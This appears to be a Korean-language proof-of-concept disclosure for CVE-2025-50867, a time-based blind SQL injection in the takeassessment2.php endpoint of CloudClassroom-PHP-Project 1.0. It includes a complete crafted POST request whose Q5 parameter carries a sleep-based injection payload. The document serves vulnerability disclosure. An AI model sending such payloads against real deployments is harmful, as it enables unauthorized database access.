sacx-7/cve-2025-50867CloudClassroom-PHP-Project 1.0의 takeassessment2.php 엔드포인트에 있는 시간 기반 블라인드 SQL 인젝션 취약점에 대한 개념 증명으로, 조작된 POST 요청을 통한 원격 악용을 시연합니다.
CloudClassroom-PHP-Project 1.0의 takeassessment2.php 엔드포인트에 SQL Injection 취약점이 존재합니다. 이 취약점은 Q5 POST 매개변수가 별도의 정화 절차 없이 SQL 문에 직접 포함되어 발생합니다.
취약점 유형 :
SQL Injection
제품 공급업체 :
https://github.com/mathurvishal/CloudClassroom-PHP-Project
영향을 받는 제품 코드 베이스 :
https://github.com/mathurvishal/CloudClassroom-PHP-Project 1.0 - https://github.com/mathurvishal/CloudClassroom-PHP-Project 1.0
영향을 받는 구성 요소 :
takeassessment2.php, Q5 POST 매개변수, SQL 쿼리 로직
공격 벡터 :
이 취약점을 악용하기 위해 공격자는 Q5 매개변수에 SQL 처리 시간 지연을 유발하는 페이로드(블라인드 시간 기반 SQLi)를 포함한 악의적인 POST 요청을 /CloudClassroom-PHP-Project-master/takeassessment2.php에 전송합니다.
POST 요청:
POST /CloudClassroom-PHP-Project-master/takeassessment2.php?exid=4 HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded
Q1=555&Q2=555&Q3=555&Q4=555&Q5=5550'XOR(555*if(now()=sysdate(),sleep(6),0))XOR'Z&done= 이로 인해 응답에 6초의 지연이 발생하여 취약점이 확인됩니다.
참조 :
https://owasp.org/www-community/attacks/SQL_Injection
발견자 : saurabh solanki
